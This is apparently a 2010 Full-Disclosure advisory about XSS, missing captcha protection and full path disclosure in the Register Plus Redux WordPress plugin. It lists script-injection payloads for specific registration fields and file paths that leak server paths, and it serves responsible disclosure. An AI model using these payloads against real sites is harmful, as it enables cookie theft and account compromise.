Hello Full-Disclosure!

I want to warn you about Cross-Site Scripting, Insufficient Anti-automation
and Full path disclosure vulnerabilities in plugin Register Plus Redux for
WordPress. Register Plus Redux is a fork of plugin Register Plus.

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Affected products:
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Vulnerable are versions of plugin Register Plus Redux 3.6.1 and previous
versions.

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Details:
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XSS (WASC-08):

POST request at page http://site/wp-login.php?action=register

"><script>alert(document.cookie)</script>
In fields: First Name, Last Name, Website, AIM, Yahoo IM, Jabber / Google
Talk, Password, Confirm Password.

</textarea><script>alert(document.cookie)</script>
In field: About Yourself.

Insufficient Anti-automation (WASC-21):

http://site/wp-login.php?action=register

In registration form there is no protection from automated requests
(captcha).

Full path disclosure (WASC-13):

http://site/wp-content/plugins/register-plus-redux/dash_widget.php

http://site/wp-content/plugins/register-plus-redux/register-plus-redux.php

At POST request at page http://site/wp-login.php?action=register.

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Timeline:
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2010.09.18 - announced at my site.
2010.09.19 - informed developer.
2010.12.02 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4542/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua